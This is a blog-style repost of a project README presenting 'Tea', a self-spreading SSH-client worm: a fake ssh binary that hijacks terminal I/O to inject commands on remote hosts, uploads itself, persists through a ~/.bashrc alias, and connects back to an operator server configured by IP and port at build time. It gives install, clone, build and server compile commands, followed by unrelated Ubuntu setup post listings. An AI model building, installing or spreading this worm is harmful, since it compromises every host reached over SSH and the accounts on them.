Tea : SSH-Client Worm

Tea is a ssh-client worm made with tas framework.

How it works?

This is a fakessh-client that manipulates the tty input/output to execute arbitrary commands and upload itself through the ssh connection.

To work properly, the remote machine needs:

  • Display the “last login” message when login.
  • Dd and stty
  • target user using bash as default shell.
  • Capability to run the fakessh binary.
  • Writable ~/.bashrc
  • Infect the local machine:

mkdir ~/.sshworm
cp ssh ~/.sshworm
alias ssh=’~/.sshworm/ssh’

The first time that you execute the fakessh, it will display nothing, the code in post-install.c will be executed and the string alias ssh="~/.sshworm/ssh" will be write to the ~/.bashrc:

$ ssh
$ ssh
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
[-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
[-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
[-i identity_file] [-J [user@]host[:port]] [-L address]
[-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
[-Q query_option] [-R address] [-S ctl_path] [-W host:port]
[-w local_tun[:remote_tun]] destination [command]

Spread the world

Now just connect to some ssh server, that meets the conditions stated for the program to work, and the machine will be infected, and the machines accessed through it too, and so on.

Also Read – Betwixt : Web Debugging Proxy Based On Chrome Devtools Network Panel

tty manipulation:

When the fakessh is executed, it will wait for the string “Last login” to start the I/O manipulation (output-hooks.c), when “Last login” is receveid it will send some arbitrary commands (inject-cmd.c) and will wait for the command result (output-hooks.c), if the file ~/.sshworm/ssh don’t exists in the remote machine, then the worm will upload itself (upload.c).

See output-hooks.c for more details.

Uninstall:

$ rm -rf ~/.sshworm
$ perl -i -pe ‘s;alias ssh=”~/.sshworm/ssh”;;g’ ~/.bashrc
$ unalias ssh

Compile

We recommend the use of musl-libc, or every else libc that isn’t the glibc, the binary compiled using the glibc is 17 times bigger than the binary compiled using the musl-libc.

Getting the source code:

$ git clone –recurse-submodules https://github.com/hc0d3r/tea

Build options:

NameDescription
IPremote IPv4 to connect
PORTremote port to connect

Example:

$ make CC=musl-gcc IP=my-ipv4 PORT=1234

Server

We made a simple server to handle the connections that will be receveid when the code in post-install.c is executed.

The server mechanism is very simple, when a new connection is established, it execute a new command and pass the connection file descriptor through the command line, so the program executed will be able to handle the connection.

Compile

$ cd server
$ make
cc -Wall -Wextra -O3 -c net.c -o net.o
cc -Wall -Wextra -O3 -c replace.c -o replace.o
cc -Wall -Wextra -O3 -c term.c -o term.o
cc -Wall -Wextra -O3 -c main.c -o main.o
cc -Wall -Wextra -O3 -o server net.o replace.o term.o main.o

Demo

R K

Recent Posts

Install Pip on Ubuntu 18.04: Python 3 and Python 2 Setup Guide

Pip is the official package manager for Python and the standard way to install libraries from…

1 day ago

Install R on Ubuntu 18.04 from CRAN: Statistical Computing Setup

R is an open-source programming language and environment built for statistical computing and data visualization. It…

1 day ago

Install Jenkins on Ubuntu 18.04: CI/CD Server Setup Guide

Jenkins is an open-source automation server that makes it easy to build CI/CD pipelines. Continuous integration…

2 days ago

Install Android Studio on Ubuntu 18.04 with Snap and OpenJDK 8

Android Studio is the official IDE for Android development, built on JetBrains' IntelliJ IDEA platform. It…

2 days ago

Install and Configure GitLab on Ubuntu 18.04 with Omnibus

GitLab is a web-based, open-source Git repository manager written in Ruby. It includes built-in tools for…

2 days ago

Install Anaconda on Ubuntu 18.04: Python Data Science Setup Guide

Anaconda is the most widely used Python distribution for data science and machine learning. It bundles…

2 days ago